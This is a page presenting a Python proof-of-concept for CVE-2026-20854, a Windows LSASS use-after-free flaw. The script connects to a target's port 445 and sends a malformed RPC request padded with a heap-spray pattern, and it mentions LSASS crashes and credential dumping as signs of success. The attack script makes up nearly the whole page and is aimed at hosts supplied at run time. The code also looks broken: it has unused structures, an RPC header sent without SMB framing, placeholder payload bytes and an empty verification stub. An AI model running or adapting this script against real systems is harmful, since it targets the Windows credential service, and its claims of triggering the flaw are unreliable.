CVE-2026-20854: Windows LSASS 释放后重用高危漏洞

''' CVE-2026-20854 - Windows LSASS Use-After-Free PoC Note: This is a conceptual PoC for educational purposes only. Author: Security Researcher Reference: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20854 ''' import struct import socket import sys from ctypes import * # Windows API structures class LSA_UNICODE_STRING(Structure): _fields_ = [ ('Length', c_ushort), ('MaximumLength', c_ushort), ('Buffer', c_void_p) ] class SECURITY_PACKAGE_OPTIONS(Structure): _fields_ = [ ('Version', c_ulong), ('Type', c_ulong), ('Size', c_ulong), ('Flags', c_ulong) ] def trigger_lsass_uaf(target_ip, port=445): ''' Trigger LSASS Use-After-Free condition via SMB/RPC This PoC demonstrates the attack concept by sending malformed RPC requests ''' print(f'[*] Target: {target_ip}') print(f'[*] Attempting to trigger CVE-2026-20854...') # Construct malicious RPC binding request rpc_request = b'\x05\x00\x0b\x03\x10\x00\x00\x00' rpc_request += b'\x00\x00\x00\x00\x01\x00\x00\x00' # Trigger object allocation and premature freeing trigger_payload = b'\x00' * 1024 # Padding trigger_payload += b'\x41' * 128 # Heap spray pattern rpc_request += trigger_payload try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) print('[+] Sending malicious RPC request...') sock.send(rpc_request) response = sock.recv(4096) if response: print('[!] Response received - possible UAF condition triggered') sock.close() return True except Exception as e: print(f'[-] Error: {str(e)}') return False def verify_uaf_exploitation(): ''' Verify if UAF was successfully exploited Check for abnormal LSASS behavior ''' print('[*] Verifying exploitation results...') # In real scenario, would check for: # - LSASS process crash (event ID 1000) # - Unexpected DLL loading # - Credential dump artifacts pass if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip>') sys.exit(1) target = sys.argv[1] trigger_lsass_uaf(target)